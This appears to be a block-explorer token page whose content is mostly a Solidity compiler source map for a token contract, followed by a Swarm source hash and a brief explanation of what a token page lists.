;7849:33;;7696:205;7941:34;7967:7;7941:9;:21;7951:10;7941:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7917:9;:21;7927:10;7917:21;;;;;;;;;;;;;;;:58;;;;8017:41;8043:14;8017:9;:21;8027:10;;;;;;;;;;;8017:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;7993:9;:21;8003:10;;;;;;;;;;;7993:21;;;;;;;;;;;;;;;:65;;;;8103:10;;;;;;;;;;;8082:48;;8091:10;8082:48;;;8115:14;8082:48;;;;;;:::i;:::-;;;;;;;;8161:1;8155:3;:7;8151:179;;;8210:33;8239:3;8210:9;:24;8228:4;8210:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8183:9;:24;8201:4;8183:24;;;;;;;;;;;;;;;:60;;;;8299:4;8270:40;;8279:10;8270:40;;;8306:3;8270:40;;;;;;:::i;:::-;;;;;;;;8151:179;7591:750;;7574:1002;;;8386:34;8412:7;8386:9;:21;8396:10;8386:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8362:9;:21;8372:10;8362:21;;;;;;;;;;;;;;;:58;;;;8462:34;8488:7;8462:9;:21;8472:10;;;;;;;;;;;8462:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8438:9;:21;8448:10;;;;;;;;;;;8438:21;;;;;;;;;;;;;;;:58;;;;8540:10;;;;;;;;;;;8519:41;;8528:10;8519:41;;;8552:7;8519:41;;;;;;:::i;:::-;;;;;;;;7574:1002;7410:1173:::0;;:::o;5139:220::-;2801:5;;;;;;;;;;;2787:19;;:10;:19;;;2779:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;5244:1:::1;5224:22;;:8;:22;;::::0;5216:48:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5308:8;5280:37;;5301:5;;;;;;;;;;;5280:37;;;;;;;;;;;;5340:8;5332:5;;:16;;;;;;;;;;;;;;;;;;5139:220:::0;:::o;464:221::-;522:7;551:1;546;:6;542:47;;576:1;569:8;;;;542:47;599:9;615:1;611;:5;;;;:::i;:::-;599:17;;644:1;639;635;:5;;;;:::i;:::-;:10;627:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;676:1;669:8;;;464:221;;;;;:::o;695:136::-;753:7;785:1;781;:5;773:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;822:1;818;:5;;;;:::i;:::-;811:12;;695:136;;;;:::o;151:134::-;209:7;242:1;237;:6;;229:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;276:1;272;:5;;;;:::i;:::-;265:12;;151:134;;;;:::o;295:159::-;353:7;373:9;389:1;385;:5;;;;:::i;:::-;373:17;;414:1;409;:6;;401:26;;;;;;;;;;;;:::i;:::-;;;;;;;;;445:1;438:8;;;295:159;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:246::-;1386:1;1396:113;1410:6;1407:1;1404:13;1396:113;;;1495:1;1490:3;1486:11;1480:18;1476:1;1471:3;1467:11;1460:39;1432:2;1429:1;1425:10;1420:15;;1396:113;;;1543:1;1534:6;1529:3;1525:16;1518:27;1367:184;1305:246;;;:::o;1557:102::-;1598:6;1649:2;1645:7;1640:2;1633:5;1629:14;1625:28;1615:38;;1557:102;;;:::o;1665:377::-;1753:3;1781:39;1814:5;1781:39;:::i;:::-;1836:71;1900:6;1895:3;1836:71;:::i;:::-;1829:78;;1916:65;1974:6;1969:3;1962:4;1955:5;1951:16;1916:65;:::i;:::-;2006:29;2028:6;2006:29;:::i;:::-;2001:3;1997:39;1990:46;;1757:285;1665:377;;;;:::o;2048:313::-;2161:4;2199:2;2188:9;2184:18;2176:26;;2248:9;2242:4;2238:20;2234:1;2223:9;2219:17;2212:47;2276:78;2349:4;2340:6;2276:78;:::i;:::-;2268:86;;2048:313;;;;:::o;2367:126::-;2404:7;2444:42;2437:5;2433:54;2422:65;;2367:126;;;:::o;2499:96::-;2536:7;2565:24;2583:5;2565:24;:::i;:::-;2554:35;;2499:96;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:329::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:118::-;5610:24;5628:5;5610:24;:::i;:::-;5605:3;5598:37;5523:118;;:::o;5647:222::-;5740:4;5778:2;5767:9;5763:18;5755:26;;5791:71;5859:1;5848:9;5844:17;5835:6;5791:71;:::i;:::-;5647:222;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:::-;6423:6;6431;6480:2;6468:9;6459:7;6455:23;6451:32;6448:119;;;6486:79;;:::i;:::-;6448:119;6606:1;6631:53;6676:7;6667:6;6656:9;6652:22;6631:53;:::i;:::-;6621:63;;6577:117;6733:2;6759:53;6804:7;6795:6;6784:9;6780:22;6759:53;:::i;:::-;6749:63;;6704:118;6355:474;;;;;:::o;6835:180::-;6883:77;6880:1;6873:88;6980:4;6977:1;6970:15;7004:4;7001:1;6994:15;7021:320;7065:6;7102:1;7096:4;7092:12;7082:22;;7149:1;7143:4;7139:12;7170:18;7160:81;;7226:4;7218:6;7214:17;7204:27;;7160:81;7288:2;7280:6;7277:14;7257:18;7254:38;7251:84;;7307:18;;:::i;:::-;7251:84;7072:269;7021:320;;;:::o;7347:159::-;7487:11;7483:1;7475:6;7471:14;7464:35;7347:159;:::o;7512:365::-;7654:3;7675:66;7739:1;7734:3;7675:66;:::i;:::-;7668:73;;7750:93;7839:3;7750:93;:::i;:::-;7868:2;7863:3;7859:12;7852:19;;7512:365;;;:::o;7883:419::-;8049:4;8087:2;8076:9;8072:18;8064:26;;8136:9;8130:4;8126:20;8122:1;8111:9;8107:17;8100:47;8164:131;8290:4;8164:131;:::i;:::-;8156:139;;7883:419;;;:::o;8308:161::-;8448:13;8444:1;8436:6;8432:14;8425:37;8308:161;:::o;8475:366::-;8617:3;8638:67;8702:2;8697:3;8638:67;:::i;:::-;8631:74;;8714:93;8803:3;8714:93;:::i;:::-;8832:2;8827:3;8823:12;8816:19;;8475:366;;;:::o;8847:419::-;9013:4;9051:2;9040:9;9036:18;9028:26;;9100:9;9094:4;9090:20;9086:1;9075:9;9071:17;9064:47;9128:131;9254:4;9128:131;:::i;:::-;9120:139;;8847:419;;;:::o;9272:162::-;9412:14;9408:1;9400:6;9396:14;9389:38;9272:162;:::o;9440:366::-;9582:3;9603:67;9667:2;9662:3;9603:67;:::i;:::-;9596:74;;9679:93;9768:3;9679:93;:::i;:::-;9797:2;9792:3;9788:12;9781:19;;9440:366;;;:::o;9812:419::-;9978:4;10016:2;10005:9;10001:18;9993:26;;10065:9;10059:4;10055:20;10051:1;10040:9;10036:17;10029:47;10093:131;10219:4;10093:131;:::i;:::-;10085:139;;9812:419;;;:::o;10237:160::-;10377:12;10373:1;10365:6;10361:14;10354:36;10237:160;:::o;10403:366::-;10545:3;10566:67;10630:2;10625:3;10566:67;:::i;:::-;10559:74;;10642:93;10731:3;10642:93;:::i;:::-;10760:2;10755:3;10751:12;10744:19;;10403:366;;;:::o;10775:419::-;10941:4;10979:2;10968:9;10964:18;10956:26;;11028:9;11022:4;11018:20;11014:1;11003:9;10999:17;10992:47;11056:131;11182:4;11056:131;:::i;:::-;11048:139;;10775:419;;;:::o;11200:164::-;11340:16;11336:1;11328:6;11324:14;11317:40;11200:164;:::o;11370:366::-;11512:3;11533:67;11597:2;11592:3;11533:67;:::i;:::-;11526:74;;11609:93;11698:3;11609:93;:::i;:::-;11727:2;11722:3;11718:12;11711:19;;11370:366;;;:::o;11742:419::-;11908:4;11946:2;11935:9;11931:18;11923:26;;11995:9;11989:4;11985:20;11981:1;11970:9;11966:17;11959:47;12023:131;12149:4;12023:131;:::i;:::-;12015:139;;11742:419;;;:::o;12167:166::-;12307:18;12303:1;12295:6;12291:14;12284:42;12167:166;:::o;12339:366::-;12481:3;12502:67;12566:2;12561:3;12502:67;:::i;:::-;12495:74;;12578:93;12667:3;12578:93;:::i;:::-;12696:2;12691:3;12687:12;12680:19;;12339:366;;;:::o;12711:419::-;12877:4;12915:2;12904:9;12900:18;12892:26;;12964:9;12958:4;12954:20;12950:1;12939:9;12935:17;12928:47;12992:131;13118:4;12992:131;:::i;:::-;12984:139;;12711:419;;;:::o;13136:171::-;13276:23;13272:1;13264:6;13260:14;13253:47;13136:171;:::o;13313:366::-;13455:3;13476:67;13540:2;13535:3;13476:67;:::i;:::-;13469:74;;13552:93;13641:3;13552:93;:::i;:::-;13670:2;13665:3;13661:12;13654:19;;13313:366;;;:::o;13685:419::-;13851:4;13889:2;13878:9;13874:18;13866:26;;13938:9;13932:4;13928:20;13924:1;13913:9;13909:17;13902:47;13966:131;14092:4;13966:131;:::i;:::-;13958:139;;13685:419;;;:::o;14110:173::-;14250:25;14246:1;14238:6;14234:14;14227:49;14110:173;:::o;14289:366::-;14431:3;14452:67;14516:2;14511:3;14452:67;:::i;:::-;14445:74;;14528:93;14617:3;14528:93;:::i;:::-;14646:2;14641:3;14637:12;14630:19;;14289:366;;;:::o;14661:419::-;14827:4;14865:2;14854:9;14850:18;14842:26;;14914:9;14908:4;14904:20;14900:1;14889:9;14885:17;14878:47;14942:131;15068:4;14942:131;:::i;:::-;14934:139;;14661:419;;;:::o;15086:169::-;15226:21;15222:1;15214:6;15210:14;15203:45;15086:169;:::o;15261:366::-;15403:3;15424:67;15488:2;15483:3;15424:67;:::i;:::-;15417:74;;15500:93;15589:3;15500:93;:::i;:::-;15618:2;15613:3;15609:12;15602:19;;15261:366;;;:::o;15633:419::-;15799:4;15837:2;15826:9;15822:18;15814:26;;15886:9;15880:4;15876:20;15872:1;15861:9;15857:17;15850:47;15914:131;16040:4;15914:131;:::i;:::-;15906:139;;15633:419;;;:::o;16058:168::-;16198:20;16194:1;16186:6;16182:14;16175:44;16058:168;:::o;16232:366::-;16374:3;16395:67;16459:2;16454:3;16395:67;:::i;:::-;16388:74;;16471:93;16560:3;16471:93;:::i;:::-;16589:2;16584:3;16580:12;16573:19;;16232:366;;;:::o;16604:419::-;16770:4;16808:2;16797:9;16793:18;16785:26;;16857:9;16851:4;16847:20;16843:1;16832:9;16828:17;16821:47;16885:131;17011:4;16885:131;:::i;:::-;16877:139;;16604:419;;;:::o;17029:170::-;17169:22;17165:1;17157:6;17153:14;17146:46;17029:170;:::o;17205:366::-;17347:3;17368:67;17432:2;17427:3;17368:67;:::i;:::-;17361:74;;17444:93;17533:3;17444:93;:::i;:::-;17562:2;17557:3;17553:12;17546:19;;17205:366;;;:::o;17577:419::-;17743:4;17781:2;17770:9;17766:18;17758:26;;17830:9;17824:4;17820:20;17816:1;17805:9;17801:17;17794:47;17858:131;17984:4;17858:131;:::i;:::-;17850:139;;17577:419;;;:::o;18002:171::-;18142:23;18138:1;18130:6;18126:14;18119:47;18002:171;:::o;18179:366::-;18321:3;18342:67;18406:2;18401:3;18342:67;:::i;:::-;18335:74;;18418:93;18507:3;18418:93;:::i;:::-;18536:2;18531:3;18527:12;18520:19;;18179:366;;;:::o;18551:419::-;18717:4;18755:2;18744:9;18740:18;18732:26;;18804:9;18798:4;18794:20;18790:1;18779:9;18775:17;18768:47;18832:131;18958:4;18832:131;:::i;:::-;18824:139;;18551:419;;;:::o;18976:332::-;19097:4;19135:2;19124:9;19120:18;19112:26;;19148:71;19216:1;19205:9;19201:17;19192:6;19148:71;:::i;:::-;19229:72;19297:2;19286:9;19282:18;19273:6;19229:72;:::i;:::-;18976:332;;;;;:::o;19314:178::-;19454:30;19450:1;19442:6;19438:14;19431:54;19314:178;:::o;19498:366::-;19640:3;19661:67;19725:2;19720:3;19661:67;:::i;:::-;19654:74;;19737:93;19826:3;19737:93;:::i;:::-;19855:2;19850:3;19846:12;19839:19;;19498:366;;;:::o;19870:419::-;20036:4;20074:2;20063:9;20059:18;20051:26;;20123:9;20117:4;20113:20;20109:1;20098:9;20094:17;20087:47;20151:131;20277:4;20151:131;:::i;:::-;20143:139;;19870:419;;;:::o;20295:163::-;20435:15;20431:1;20423:6;20419:14;20412:39;20295:163;:::o;20464:366::-;20606:3;20627:67;20691:2;20686:3;20627:67;:::i;:::-;20620:74;;20703:93;20792:3;20703:93;:::i;:::-;20821:2;20816:3;20812:12;20805:19;;20464:366;;;:::o;20836:419::-;21002:4;21040:2;21029:9;21025:18;21017:26;;21089:9;21083:4;21079:20;21075:1;21064:9;21060:17;21053:47;21117:131;21243:4;21117:131;:::i;:::-;21109:139;;20836:419;;;:::o;21261:180::-;21309:77;21306:1;21299:88;21406:4;21403:1;21396:15;21430:4;21427:1;21420:15;21447:410;21487:7;21510:20;21528:1;21510:20;:::i;:::-;21505:25;;21544:20;21562:1;21544:20;:::i;:::-;21539:25;;21599:1;21596;21592:9;21621:30;21639:11;21621:30;:::i;:::-;21610:41;;21800:1;21791:7;21787:15;21784:1;21781:22;21761:1;21754:9;21734:83;21711:139;;21830:18;;:::i;:::-;21711:139;21495:362;21447:410;;;;:::o;21863:180::-;21911:77;21908:1;21901:88;22008:4;22005:1;21998:15;22032:4;22029:1;22022:15;22049:185;22089:1;22106:20;22124:1;22106:20;:::i;:::-;22101:25;;22140:20;22158:1;22140:20;:::i;:::-;22135:25;;22179:1;22169:35;;22184:18;;:::i;:::-;22169:35;22226:1;22223;22219:9;22214:14;;22049:185;;;;:::o;22240:158::-;22380:10;22376:1;22368:6;22364:14;22357:34;22240:158;:::o;22404:365::-;22546:3;22567:66;22631:1;22626:3;22567:66;:::i;:::-;22560:73;;22642:93;22731:3;22642:93;:::i;:::-;22760:2;22755:3;22751:12;22744:19;;22404:365;;;:::o;22775:419::-;22941:4;22979:2;22968:9;22964:18;22956:26;;23028:9;23022:4;23018:20;23014:1;23003:9;22999:17;22992:47;23056:131;23182:4;23056:131;:::i;:::-;23048:139;;22775:419;;;:::o;23200:156::-;23340:8;23336:1;23328:6;23324:14;23317:32;23200:156;:::o;23362:365::-;23504:3;23525:66;23589:1;23584:3;23525:66;:::i;:::-;23518:73;;23600:93;23689:3;23600:93;:::i;:::-;23718:2;23713:3;23709:12;23702:19;;23362:365;;;:::o;23733:419::-;23899:4;23937:2;23926:9;23922:18;23914:26;;23986:9;23980:4;23976:20;23972:1;23961:9;23957:17;23950:47;24014:131;24140:4;24014:131;:::i;:::-;24006:139;;23733:419;;;:::o;24158:194::-;24198:4;24218:20;24236:1;24218:20;:::i;:::-;24213:25;;24252:20;24270:1;24252:20;:::i;:::-;24247:25;;24296:1;24293;24289:9;24281:17;;24320:1;24314:4;24311:11;24308:37;;;24325:18;;:::i;:::-;24308:37;24158:194;;;;:::o;24358:191::-;24398:3;24417:20;24435:1;24417:20;:::i;:::-;24412:25;;24451:20;24469:1;24451:20;:::i;:::-;24446:25;;24494:1;24491;24487:9;24480:16;;24515:3;24512:1;24509:10;24506:36;;;24522:18;;:::i;:::-;24506:36;24358:191;;;;:::o;24555:157::-;24695:9;24691:1;24683:6;24679:14;24672:33;24555:157;:::o;24718:365::-;24860:3;24881:66;24945:1;24940:3;24881:66;:::i;:::-;24874:73;;24956:93;25045:3;24956:93;:::i;:::-;25074:2;25069:3;25065:12;25058:19;;24718:365;;;:::o;25089:419::-;25255:4;25293:2;25282:9;25278:18;25270:26;;25342:9;25336:4;25332:20;25328:1;25317:9;25313:17;25306:47;25370:131;25496:4;25370:131;:::i;:::-;25362:139;;25089:419;;;:::o

Swarm Source

ipfs://97f07879e70c28b02b6ce830a8a538061bf21d4f4337cb8fbb6836f5e2a967d2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.